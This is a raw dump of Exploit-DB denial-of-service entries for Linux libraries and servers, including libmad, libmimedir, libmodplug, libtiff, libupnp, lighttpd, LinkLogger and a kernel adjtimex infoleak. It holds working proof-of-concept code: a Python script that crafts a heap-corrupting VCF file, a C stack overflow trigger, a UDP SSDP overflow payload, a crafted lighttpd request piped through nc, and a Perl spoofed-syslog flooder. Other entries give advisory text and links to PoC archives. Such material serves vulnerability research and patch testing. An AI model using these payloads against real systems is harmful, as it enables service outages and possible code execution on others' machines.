deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42409
Description: libmad 0.15.1b - 'mp3' Memory Corruption
Type: dos
Platform: linux
Date: 2017-08-01
Author: qflb.wu

Exploit:
libmad memory corruption vulnerability
================
Author : qflb.wu
===============


Introduction:
=============
libmad is a high-quality MPEG audio decoder capable of 24-bit output.


Affected version:
=====
0.15.1b


Vulnerability Description:
==========================
the mad_decoder_run function in decoder.c in libmad 0.15.1b can cause a denial of service(memory corruption) via a crafted mp3 file.


I found this bug when I test mpg321 0.3.2 which used the libmad library.


./mpg321 libmad_0.15.1b_memory_corruption.mp3


----debug info:----
Program received signal SIGABRT, Aborted.
0x00007ffff6bf7cc9 in __GI_raise (sig=sig@entry=6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff6bf7cc9 in __GI_raise (sig=sig@entry=6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007ffff6bfb0d8 in __GI_abort () at abort.c:89
#2  0x00007ffff6c34394 in __libc_message (do_abort=do_abort@entry=1, 
    fmt=fmt@entry=0x7ffff6d42b28 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff6c4066e in malloc_printerr (ptr=<optimized out>, 
    str=0x7ffff6d42c58 "double free or corruption (out)", action=1)
    at malloc.c:4996
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0)
    at malloc.c:3840
#5  0x00007ffff749ab43 in mad_decoder_run (
    decoder=decoder@entry=0x7fffffffbd20, 
    mode=mode@entry=MAD_DECODER_MODE_SYNC) at decoder.c:559
#6  0x[PII_REDACTED]403d5d in main (argc=<optimized out>, argv=<optimized out>)
    at mpg321.c:1092
(gdb)


POC:
libmad_0.15.1b_memory_corruption.mp3
CVE:
CVE-2017-11552


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42409.zip
Exploit-DB #37249
Description: Libmimedir - '.VCF' Memory Corruption (PoC)
Type: dos
Platform: linux
Date: 2015-06-10
Author: Jeremy Brown

Exploit:
#!/usr/bin/python
# libmimedir-free.py
#
# Libmimedir VCF Memory Corruption PoC (CVE-2015-3205)
#
# Jeremy Brown [jbrown3264/gmail]
# June 2015
#
# -Synopsis-
#
# Adding two NULL bytes to the end of a VCF file allows a user to manipulate free() calls
# which occur during it's lexer's memory clean-up procedure. This could lead to exploitable
# conditions such as crafting a specific memory chunk to allow for arbitrary code execution.
#
# -Tested-
#
# libmimedir-0.5.1.tar.gz
# libmimedir-static 0.4-13.fc21
#
# -Notes-
#
# Reported to Red Hat Bugzilla in May (1222251) and remains unfixed as of now. There's already
# a stale bug (1049214) to upgrade to latest upstream and there wasn't a movement to work on a
# fix with this one. yy_get_next_buffer() in dirlex.c would likely take the patch.
#

from struct import pack

def main():
    mime = "begin:vcard<x\nx;type=x;type=x,"
    mime += pack("<Q", 0x[PII_REDACTED]414141) # mdm->p
    mime += pack("<Q", 0x[PII_REDACTED]424242) # mdm->next
    mime += ":x>x.l:x"
    mime += pack("<H", 0x0000) # 2 x YY_END_OF_BUFFER_CHAR
    
    print("Writing free.vcf to local directory...")
    
    try:
        with open("free.vcf", 'wb') as outfile:
            outfile.write(mime)

    except Exception as error:
        print("Error: %s\n" % error);
        return
    
    print("Done\n")
    
    return

if __name__ == "__main__":
    main()
Exploit-DB #17222
Description: Libmodplug 0.8.8.2 - '.abc' Stack Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2011-04-28
Author: epiphant

Exploit:
#include <libmodplug/modplug.h>
#include <stdio.h>
#include <string.h>

/*
libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc

http://modplug-xmms.sourceforge.net/

by: epiphant

this exploits one of many overflows in load_abc.cpp lol

vlc media player uses libmodplug

greets: defrost, babi, ming_wisher, emel1a, a.v., krs

date: 28 april 2011

tested on: centos 5.6
*/

int main(void)
{
  char test[512] = "X: 1\nU: ";
  unsigned int i;

  i = strlen(test);
  while (i < 278)
    test[i++] = 'Q';
  test[i++] = '1' + 32;
  test[i++] = '3';
  test[i++] = '3';
  test[i++] = '4';
  while (i < 286)
    test[i++] = 'A';
  test[i++] = '\n';
  test[i] = '\0';

  strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
  strcat(test, "Z: 3 Doors Down\n");
  strcat(test, "L: 1/4\n");
  strcat(test, "Q: 108\n");
  strcat(test, "K: C\n\n");
  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");

  i = strlen(test);
  ModPlug_Load(test, i);

  return 0;
}
Exploit-DB #28384
Description: Libmusicbrainz 2.0.2/2.1.x - Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: linux
Date: 2006-08-14
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/19508/info

The libmusicbrainz library is prone to multiple buffer-overflow vulnerabilities because the application fails to check the size of the data before copying it into a finite-sized internal memory buffer. 

An attacker can exploit these issues to execute arbitrary code within the context of the application or to cause a denial-of-service condition. 

Versions 2.1.2, SVN 8406, and prior are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28384.zip
Exploit-DB #22537
Description: Libopt.a 3.1x - Error Logging Buffer Overflow (1)
Type: dos
Platform: linux
Date: 2003-04-24
Author: kf

Exploit:
/*
source: https://www.securityfocus.com/bid/7433/info

Libopt library has been reported prone to a buffer overflow vulnerability.

It has been reported that several Libopt.a error logging functions, may be prone to buffer overflow vulnerabilities when handling excessive data. The data may be supplied as an argument to a program linked to the vulnerable library. This condition arises from a lack of sufficient bounds checking performed on the user-supplied data, before it is copied into a memory buffer. As a result the bounds of an internal stack-based memory buffer may be overflowed and adjacent memory corrupted with attacker supplied data. It should be noted that no SUID applications linked to this library are currently known.

Although unconfirmed this vulnerability may be exploited to execute arbitrary attacker supplied code.

It should be noted that although this vulnerability was reported to affect Libopt.a version 3.18 previous versions might also be affected. 
*/

/* To compile vuln.c :                              */
/* cc -o vuln vuln.c /path/to/opt-3.18/src/libopt.a */

main(int *argc, char **argv)
{
  /* use OPT opt_atoi() */
        int y = opt_atoi(argv[1]);        printf("opt_atoi(): %i\n", y);
}
Exploit-DB #25429
Description: Libsafe 2.0 - Multi-threaded Process Race Condition Security Bypass
Type: dos
Platform: linux
Date: 2005-04-15
Author: Overflow.pl

Exploit:
// source: https://www.securityfocus.com/bid/13190/info

Libsafe will normally kill an application when certain types of memory corruption are detected, preventing exploitation of some buffer overflow and format string vulnerabilities. A weakness has been reported that may allow Libsafe security failsafe mechanisms to be bypassed.

This vulnerability is due to a race condition that may be exposed when Libsafe is used with multi-threaded applications. The result is that Libsafe security features may be bypassed and an attack that would ordinarily be prevented may succeed. It should be noted that this is an implementation error in Libsafe that does not present a security risk unless there is a memory corruption vulnerability in a multi-threaded application on an affected computer.

This issue was reported in Libsafe 2.0-16. Other versions may also be affected. 

#include <pthread.h>
#include <stdio.h>

int ok = 0;

void *func1(void *none)
{
	char buf[8];
	while(1)
	{
		if(!ok)
			continue;
		strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
		break;
	}
	puts("func1 overflow!");
}

void *func2(void *none)
{
	char buf[8];
	ok = 1;
	strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	puts("func2 overflow!!");
}

int main()
{
	pthread_t t1, t2;
	
	pthread_create(&t1, NULL, &func1, NULL);
	pthread_create(&t2, NULL, &func2, NULL);
	
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	
	return 0;
}
Exploit-DB #14573
Description: LibTIFF - 'td_stripbytecount' Null Pointer Dereference Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-08-07
Author: Tomas Hoger

Exploit:
From: https://www.securityfocus.com/bid/41480/
LibTIFF is prone to a denial-of-service vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to crash an application that uses the vulnerable library, denying service to legitimate users. Due to the nature of this issue, attackers may be able to execute arbitrary code, but this has not been confirmed.

Versions up to and including libTIFF 3.9.4 are vulnerable. 

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14573.tif.gz (lp589145-sample.tif.gz)
Exploit-DB #42300
Description: LibTIFF - 'tif_jbig.c' Denial of Service
Type: dos
Platform: linux
Date: 2017-07-06
Author: team OWL337

Exploit:
Source: http://bugzilla.maptools.org/show_bug.cgi?id=2706

Triggered by “./tiff2ps $POC” or “./tiff2pdf $POC”

Triggered by “./tiff2ps $POC” or “./tiff2pdf $POC”

The asan debug information is below:

$./tiff2ps $POC  


=================================================================
==26627==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 1792 byte(s) in 7 object(s) allocated from:
    #0 0x7f7c4f1a19aa in malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989aa)
    #1 0x7f7c4dca72fd  (/usr/lib/x86_64-linux-gnu/libjbig.so.0+0x12fd)
    #2 0x3ea  (<unknown module>)

Indirect leak of[PII_REDACTED]24 byte(s) in 223 object(s) allocated from:
    #0 0x7f7c4f1a19aa in malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x989aa)
    #1 0x7f7c4dca72fd  (/usr/lib/x86_64-linux-gnu/libjbig.so.0+0x12fd)
    #2 0x3ea  (<unknown module>)

SUMMARY: AddressSanitizer:[PII_REDACTED]16 byte(s) leaked in 230 allocation(s).


Affected version:
<=the Latest version (4.0.8)


Credits:

This vulnerability is detected by team OWL337, with our custom fuzzer coll AFL.
Please contact ganshuitao@gmail.com  and chaoz@tsinghua.edu.cn if you need more
info about the team, the tool or the vulnerability.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42300.zip
Exploit-DB #33049
Description: LibTIFF 3.8.2 - 'LZWDecodeCompat()' Remote Buffer Underflow
Type: dos
Platform: linux
Date: 2009-05-21
Author: wololo

Exploit:
source: https://www.securityfocus.com/bid/35451/info

LibTIFF is prone to a remote buffer-underflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary malicious code in the context of a user running an application that uses the affected library. Failed exploit attempts will likely crash the application.

LibTIFF 3.8.2 is vulnerable; other versions may be affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33049.zip
Exploit-DB #34278
Description: LibTIFF 3.9.4 - Out-Of-Order Tag Type Mismatch Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-07-12
Author: Tom Lane

Exploit:
source: https://www.securityfocus.com/bid/41475/info

LibTIFF is prone to a denial-of-service vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to crash an application that uses the vulnerable library, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34279.tif
Exploit-DB #34279
Description: LibTIFF 3.9.4 - Unknown Tag Second Pass Processing Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-06-14
Author: Tom Lane

Exploit:
source: https://www.securityfocus.com/bid/41477/info

LibTIFF is prone to a denial-of-service vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to crash an application that uses the vulnerable library, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34279.tif
Exploit-DB #27875
Description: libtiff 3.9.5 - Integer Overflow
Type: dos
Platform: linux
Date: 2013-08-26
Author: x90c

Exploit:
/*
# Exploit Title: libtiff <= 3.9.5 Integer overflow bug poc
# Date: 2013/08/25
# Exploit Author: x90c
# Vendor Homepage: http://www.remotesensing.org/libtiff
# Version:
- libtiff 3.9.5 <=
# Tested on:
- libtiff 4.0.3
- libtiff 4.0.2
- libtiff 4.0.1
- libtiff 4.0.0 (safe)
- libtiff 3.9.5 (vulnerable) <=
- libtiff 3.6.0
# CVE : CVE-2013-5575

I submit the poc of libtiff bug and
attached original advisory too
I want to submit the poc, sample file only

http://www.x90c.org/advisories/xadv_2013001_libtiff.txt
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"

int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;

/*
 * for instance, TIFFGetField library function will
 * called with malicious samplesperpixel field value 
 * TIFFGetField got segfault!
 */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);

printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
}
Exploit-DB #27765
Description: LibTiff 3.x - Double-Free Memory Corruption
Type: dos
Platform: linux
Date: 2008-04-28
Author: Tavis Ormandy

Exploit:
source: https://www.securityfocus.com/bid/17733/info

Applications using the LibTIFF library are prone to a double-free vulnerability; a fix is available.

Attackers may be able to exploit this issue to cause denial-of-service conditions in affected applications using a vulnerable version of the library; arbitrary code execution may also be possible.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27765.tiff.2
Exploit-DB #27762
Description: LibTiff 3.x - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: linux
Date: 2006-04-28
Author: Tavis Ormandy

Exploit:
source: https://www.securityfocus.com/bid/17730/info

LibTIFF is affected by multiple denial-of-service vulnerabilities.

An attacker can exploit these vulnerabilities to cause a denial of service in applications using the affected library.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27762-1.tiff.0

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27762-2.tiff.1

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27762-3.tiff.100
Exploit-DB #27764
Description: LibTiff 3.x - TIFFFetchData Integer Overflow
Type: dos
Platform: linux
Date: 2006-04-28
Author: Tavis Ormandy

Exploit:
source: https://www.securityfocus.com/bid/17732/info

Applications using the LibTIFF library are prone to an integer-overflow vulnerability.

An attacker could exploit this vulnerability to execute arbitrary code in the context of the vulnerable application that uses the affected library. Failed exploit attempts will likely cause denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27764.tiff.11
Exploit-DB #49119
Description: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
Type: dos
Platform: linux
Date: 2020-11-27
Author: Patrik Lantz

Exploit:
# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Date: 2020-08-20
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://pupnp.sourceforge.io/
# Software Link: https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.6.6/libupnp-1.6.6.tar.bz2/download
# Version: <= 1.6.6
# Tested on: Linux
# CVE : CVE-2012-5958

import socket

payload = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST:uuid:schemas:device:"
payload += "A"*324 + "BBBB"
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"

byte_message = bytes(payload)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(byte_message, ("239.255.255.250", 1900))
Exploit-DB #38622
Description: libvirt - 'virConnectListAllInterfaces' Method Denial of Service
Type: dos
Platform: linux
Date: 2013-07-01
Author: Daniel P. Berrange

Exploit:
source: https://www.securityfocus.com/bid/60876/info

libvirt is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the application that uses the affected library, denying service to legitimate users. 

# virsh -c qemu:///system --readonly iface-list --inactive
Exploit-DB #31815
Description: libxslt XSL 1.1.23 - File Processing Buffer Overflow
Type: dos
Platform: linux
Date: 2008-05-21
Author: Anthony de Almeida Lopes

Exploit:
source: https://www.securityfocus.com/bid/29312/info

The 'libxslt' library is prone to a buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied data.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running an application that relies on the affected library. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects libxslt 1.1.23 and prior versions. 

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml"/>

<xsl:template
match="html/body/table/tr/td/div/div/div/div/div/div/div/div/table/tr/td/table/tr/td/p/b">
<xsl:if test="contains(text(), 'published')">
<found/>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Exploit-DB #22902
Description: lighttpd 1.4.31 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2012-11-22
Author: t4c

Exploit:
#!/bin/bash
# Exploit Title: simple lighttpd 1.4.31 DOS POC
# Date: 11/21/2012
# Exploit Author: t4c@ghcif.de
# Vendor Homepage: http://www.lighttpd.net
# Software Link: http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.31.tar.gz 
# Version: 1.4.31
# Tested on: Debian Linux, Gentoo Linux, Arch Linux
# CVE: CVE-2012-5533

if [ $# -lt 2 ]
then
	echo "usage :$0 <Host/IP> <Port>"
else
	echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n" | nc $1 $2
fi
Exploit-DB #33591
Description: lighttpd 1.4/1.5 - Slow Request Handling Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-02-02
Author: Li Ming

Exploit:
source: https://www.securityfocus.com/bid/38036/info

The 'lighttpd' webserver is prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the application to hang, denying service to legitimate users. 

##slow_test.sh
for ((j=0;j<1000;j++)) do
  for ((i=0; i<50; i++)) do
  ## slow_client is a C program which sends a HTTP request very slowly
    ./slow_client http://www.example.com/>/dev/null 2>/dev/null &
  done&
  sleep 3
done
Exploit-DB #8955
Description: LinkLogger 2.4.10.15 - 'syslog' Denial of Service
Type: dos
Platform: linux
Date: 2009-06-15
Author: h00die

Exploit:
#!/usr/bin/perl
######################################################
# LinkLogger 2.4.10.15 syslog DoS
# Tested against 2.4.10.15
# Coded by Mike Cyr, aka h00die
# mcyr2     at           csc         dot_____________com
# Notes: 1. Based on code from http://www.pythonprasanna.com/Papers%20and%20Articles/Sockets/udpspoof_pl.txt
#        2. The exact amount of packets to overwhelm the program and shut down the port fluctuates, 20k seems to be very successful though
#        3. No joke, this is a great grat product, i love it and highly recommend it.
#	     4. The syslogd module in LinkLogger is from another vendor, attempts to find out which failed.
# Greetz to muts and loganWHD, I tried harder
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily
# Log: Vendor notification 4/13/09
#      Vendor acknowledgement 4/14/09, the syslogd is actually from another company, vendor contacts syslogd vendor.
#	   Vendor can not run DoS code successfully 5/11/09
#	   Sent instructions and video on how to install all needed modules and run successfully 5/12/09
#	   Asked for update, no response 6/8/09
# 	   Sent to milw0rm and security focus 6/13/09
######################################################

use Net::RawIP;
use Time::Local;
use Date::Format;

print "LinkLogger Host IP (destination): ";
$DESTINATION = <>;
chomp($DESTINATION);

print "Source IP (router's IP): ";

$SPOOFED_SOURCE = <>;
chomp($SPOOFED_SOURCE);

$SOURCE_PORT = 2050;

$new_socket = new Net::RawIP({udp =>{}}); 
$BUFF = 1;

@lt = localtime(time);
print "\nSending 20,000 packets to $DESTINATION from $SPOOFED_SOURCE kill";
while ($BUFF < 20000){
$BAD_DATA = "<12>" . strftime('%b  %d %T',@lt) . " kernel: ACCEPT IN=br0 OUT=vlan1 SRC=999.999.999.999 DST=999.999.888.999 LEN=48 TOS=0x00 PREC=0x00 TTL=127 ID=39832 DF PROTO=TCP SPT=99999 DPT=20098 SEQ=[PII_REDACTED] ACK=0 WINDOW=16384 RES=0x00 SYN URGP=0 OPT (020405B401010402) ";

$new_socket->set({ip => {saddr => $SPOOFED_SOURCE , daddr => $DESTINATION , tos => 22} ,
                udp  => {source => $SOURCE_PORT, dest => 514,data => $BAD_DATA }});

$new_socket->send;
$BUFF = $BUFF + 1;
}
print "\nPackets sent, LinkLogger should now say Logging Suspended No Conection to Router\n";

# milw0rm.com [2009-06-15]
Exploit-DB #44641
Description: Linux < 4.16.9 / < 4.14.41 - 4-byte Infoleak via Uninitialized Struct Field in compat adjtimex Syscall
Type: dos
Platform: linux
Date: 2018-05-17
Author: Google Security Research

Exploit:
/*
Commit 3a4d44b61625 ("ntp: Move adjtimex related compat syscalls to native
counterparts") removed the memset() in compat_get_timex(). Since then, the
compat adjtimex syscall can invoke do_adjtimex() with an uninitialized
->tai. If do_adjtimex() doesn't write to ->tai (e.g. because the arguments
are invalid), compat_put_timex() then copies the uninitialized ->tai field
to userspace.

Demo:


$ cat leak_32.c
*/

#include <sys/timex.h>
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <err.h>

/* from include/linux/timex.h */
#define ADJ_ADJTIME 0x8000

int main(void) {
  struct timex tx;
  memset(&tx, 0, sizeof(tx));
  tx.modes = ADJ_ADJTIME; /* invalid, causes early bailout */
  int res = adjtimex(&tx);
  assert(res == -1 && errno == EINVAL);
  printf("0x%08x\n", (unsigned int)tx.tai);
  return 0;
}

/*
$ gcc -o leak_32 leak_32.c -Wall -m32
$ for i in {0..10}; do sleep 1; ./leak_32; done
0x01a300b0
0x0be8f6f0
0x0610d5f0
0x01fa0170
0x0bf05670
0x0bf05670
0x0610d5f0
0x0610cd70
0x0610d5f0
0x0610d5f0


Fixed in master: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0a0b98734479aa5b3c671d5190e86273372cab95


Fix it by adding the memset() back.

Fixes: 3a4d44b61625 ("ntp: Move adjtimex related compat syscalls to native counterparts")
Signed-off-by: Jann Horn <jannh@google.com>
---
 kernel/compat.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/kernel/compat.c b/kernel/compat.c
index 6d21894806b4..92d8c98c0f57 100644
--- a/kernel/compat.c
+++ b/kernel/compat.c
@@ -34,6 +34,7 @@ int compat_get_timex(struct timex *txc, const struct compat_timex __user *utp)
 {
 	struct compat_timex tx32;
 
+	memset(txc, 0, sizeof(struct timex));
 	if (copy_from_user(&tx32, utp, sizeof(struct compat_timex)))
 		return -EFAULT;
 
-- 
2.17.0.441.gb46fe60e1d-goog
*/